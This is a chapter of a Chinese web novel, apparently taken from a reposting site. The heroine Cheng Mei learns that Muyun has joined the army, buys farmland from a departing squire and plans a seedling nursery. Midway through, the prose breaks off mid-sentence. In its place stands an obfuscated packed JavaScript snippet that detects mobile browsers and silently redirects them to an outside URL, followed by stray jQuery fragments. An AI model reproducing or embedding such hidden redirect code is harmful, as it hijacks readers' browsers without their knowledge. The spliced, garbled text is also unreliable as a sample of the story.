桂儿从三头河挑了几大块冰回来,余氏已把水缸清洗干净,留下供神的冰块之外,其余的全部敲碎放入水缸。
屋里暖和,冰块融化成水,明日可煮腊八粥。
小六从河边回来,带回来好多消息,“明天石头叔要和雀儿叔比赛,抢挑第一担水。娘,他们都想明年生个胖娃娃。”
桂儿瞅她娘一眼,眼疾手快,捂住小六的嘴巴。
“小孩子不要什么脱口就说。”
余氏瞪了桂儿一眼。
小六挣开桂儿的手,“娘,为什么挑第一担水就能生个胖娃娃,那口大井里的水喝了能生娃娃吗?”
那又不是子母河的水,程媺说,“那两个叔都是今年成的婚,他们相互在比呢,跟水无关。”
“哦,那还真是什么都爱比,刚才取冰也在比谁取的冰大。”
“他们虽然已经是叔叔辈了,在更大的人眼里,他们也还是小孩子,就像娘看你们两个一样。”
小六:“娘,我已经不是小孩子了。你教我缝荷包,刚才花婶婶听说我有赤豆包,能祛疾迎祥,要问我买两个,娘,我可以挣钱了。”
“哟!”程媺眼睛发亮,“你都可以挣钱了?你卖她多少钱一个?”
“十文钱两个。”
“但是小六,谁家妇人不会缝荷包,谁家又没有赤豆咧,她为何要问你买?”
“娘,我这荷包不一样,是在五福寺开过光的。”小六一板一眼地说:“我小爹捎回来的。”
那真是睁眼说瞎话了。
不过,要不是程媺知道牧云啥也没捎回来,还就真信了呢。
明天就腊月初八了,牧云怎么还不到家?
他不会……跟着去京城了吧?
程媺有这个担心,这个预感比较强烈。
小七生病,精神有点不济,整个人蔫蔫的。
余氏:“程娘子,给七公子吃两口甜饭吧。”
所谓甜饭,就是用泡得发酵的江米和红枣蒸的,也有别人家用做腊八粥的材料合水煮,因放了江米黄米高粱米及柿饼这些,煮出来的粥十分粘稠,管这粘稠的粥饭叫甜饭,也叫腊八饭。
进入腊月就开始吃了,材料多,果脯杂粮随便放,每天换着花样做。
今天余氏做的这个也挺好吃,甜甜的。
程媺尝了口试温度,挑给小七吃。
小七吃了两口吃不下,“娘,我想吃豆包。”
“娘给你做。”
小七爱吃她做的赤豆包,难得病着还想吃,程媺自然十分乐意做。
“小七乖乖把这点甜饭吃了,明天一大早就能吃到娘做的豆包。”
小七睡下后,程媺把泡了两个时辰的豆子拿到外面冻上。
余氏在西厢炕上教小六缝荷包。
桂儿从外面来,面色沉肃地说:“程娘子,武威镖局的人回来了。”
武威镖局的四个人,和牧云一起把前线军粮送到后,就打转了。
程媺担心的事终于发生了,“你们说——阿叔投军了?”
余氏的针一下子扎到手指,血珠子冒出来,“这孩子咋想的,真是初生牛犊不怕虎,那战场是随便一个人都能上的?”
武威镖局的人肯定地又说了一遍,“好在云公子是跟着他师傅,他师傅为先锋部队的指挥使,能照应他,祁——他祁伯放心不下也一起去了。我们几个都有家室,身上也有差事,不便投军。遂帮云公子带口信回来。”
程媺:“祁伯腿脚不便,年纪也大,怎么随军?”
“只要统领点头,伙食、器械、战马,除了冲锋陷阵,都可以做。”
这次牧云让带回来的只有口信。上次还提笔写了信,这次信也不写了。
“听说燕北军已经攻入京城。”镖师安慰道:“朝廷军与燕北军相比实力悬殊,燕北军一路挺进势如破竹,若不是我们几个身上有命,家中有老小,如此好机会怎么会放过。牧云公子的安危大可不必担心,说不定还有大造化。”
程媺叹口气。
她把镖师的尾款付了,又塞给他们一些谢礼,“些小薄礼,休嫌轻微。”
镖师笑道:“程娘子,云公子是个好儿郎,不是等闲之人,日后必然发迹。”
“皆赖诸位照顾。”
为牧云担心了几个月,到头来他一声不吭投军去了。
余氏还在担心,程媺已经难掩气闷。
与牧云好几年的感情,这么个大事,他问都不问她的意见,自己就投军去了,去替徐家打江山去了。
虽说徐家夺得天下是这里的时代趋势,是滚滚洪流,势不可挡,但——徐家——也不能说与她有仇吧,原身的仇在自己家中,是自己父亲,是嫡姐们,还有嫡姐夫——可能因为嫡姐夫家是徐家,所以她不怎么待见。
不待见是一回事,逆流而行又是一回事,她没办法逆转历史洪流。
她也只能顺势而为。
但她就是对牧云弃她而去这件事耿耿于怀。
一个年轻人,有一腔热血也正常,想建功立业也正常,她理解牧云,理解是一回事,原谅又是一回事,道不同,就分道扬镳。
余氏:“程娘子,云公子这一去刀光剑影的,要不还是给他拜拜吧,求神仙保佑平安归来。”
程媺:“你方才也听镖师们说了,虽说是投军,但安危不用担心,还有大造化,生死有命,富贵在天,随他去吧,他奔他的前程,我们过我们的日子。”
余氏:……
余氏能感觉得到程娘子对牧云有气,她不再念叨他了。
之前还说做了豆包给牧云冻上一屉,等他回来立马有得吃,现在做了豆包一个没留,多做的拿去后山分给骚狐他们几个。
之前说牧云这一趟回来衣裳应该都磨破了,给他做两身新衣裳,绒花选的都是特好的,衣裳做了一半,被她给拆了,改成了自己的冬衣。
给牧云做的鞋也被她送给后山的几个人了。
只要余氏给她提到牧云,她就说“他有他的锦绣前程,我们管不着,顾好自己”之类的话。
程娘子不喜,渐渐地大家都不再提牧云。
正月里,宋员外来找程媺。
他来询问程媺,要不要买他庄上的百亩田地。
他举家要往京城去,“在京城栖身不易,这里的田产一并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901926|176677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
变卖,凑得一点是一点。”
程媺不解,“京城米贵,居大不易,为何要举家前往?有个庄子在此地也有退路。”
宋员外压低了声音道:“不瞒程娘子,家中子侄在燕北军中,如今……已经改朝换代了。如今京城不少人家掉脑袋的掉脑袋,跑路的跑路,趁着好时候去还能分一杯羹,我家子侄已经购了几处房宅,得到消息我就急着走,想来想去,能不眨眼入手百亩地的,附近也就只有程娘子你了。”
他对程媺的境况也不是不知,“你在赵家村没有自己的地,程娘子你这样的人,能改咸卤,育良种,应该有广阔田地,如今我着急出手,按照市价一亩少说也要三两银子,实价二两给你,如何?”
程媺意动。
宋员外的田还不错,一大片也好用机器,还能压价,便道:“值是值二两,只也是不巧,去年捐了不少粮,我手上没什么钱,你若肯一亩地一两,我买你的。”
“我也是急着走,你若真的要,饶你五钱,实要一两半。”
“一两,我便买了。”
宋员外提一口气,长长一叹,“罢!罢!卖了卖了!”
两人定好后,请托了里正和乡长为中人,接下来立契交银丈量土地。
一切都推进得很快,不出十日,宋员外就带着全家往京城去了。
程媺接手了宋员外的田宅并七八个长工。
她暂时不搬家,还是住在余氏这边,所以让那七八个长工先把宋员外的宅子改造一番。她打算做个育苗基地。
育苗基地的建设困难重重,相当于她要把空间实验室的功能搬出来,让他人可见。这个时代很多设备和器材无法采购到,都要靠自己琢磨建设,但为了合理化自己的能力,这一步是必须迈出的。
她把房宅的布置拓了个平面图,对着平面图琢磨了半个月,才做了第一步,明确布局。
布局不是随便画一画,因地处北方,气温不高,她得把房宅现有的取暖给用上,在这基础上,加温降温怎么弄,补光通风怎么弄,都要一体考虑,至于水肥一体,消毒灭菌这些就放弃了。
一百亩地里,有三十亩在三头河边,当初宋员外十分机灵,跟着黄县丞做了洗地改地,种了从赵家村人那里买的种,收成还可以,这三十亩程媺打算继续种水稻,秧苗还是在自家大棚里繁育。
有二十亩地种着苜蓿,程媺请人翻耕,换上自己的好种子。
剩下五十亩,全用来种再生麦。再生麦不用操心。
粮种的培育和尝试程媺前期已经做的差不多了,受北方条件所限,她也只能做到这些,所以新建一个育苗基地,她打算做点果蔬类的研究。
果蔬,特别是蔬菜,在有温室的前提下,一年能做到三次种收,余氏这里的大棚效果不错,有很多有余力的人家也学着他们这样建设温室种点菜,最主要还是在种子的培育上有很大不足,程媺的育苗基地若是建成的话,他们直接从她这里移栽幼苗,一年之中至少有大半年的时间都是有新鲜菜吃的。
二月,劝农官下乡,黄县丞又来了一趟。
他带来了一个消息,新皇将于下月登基,改国号为燕。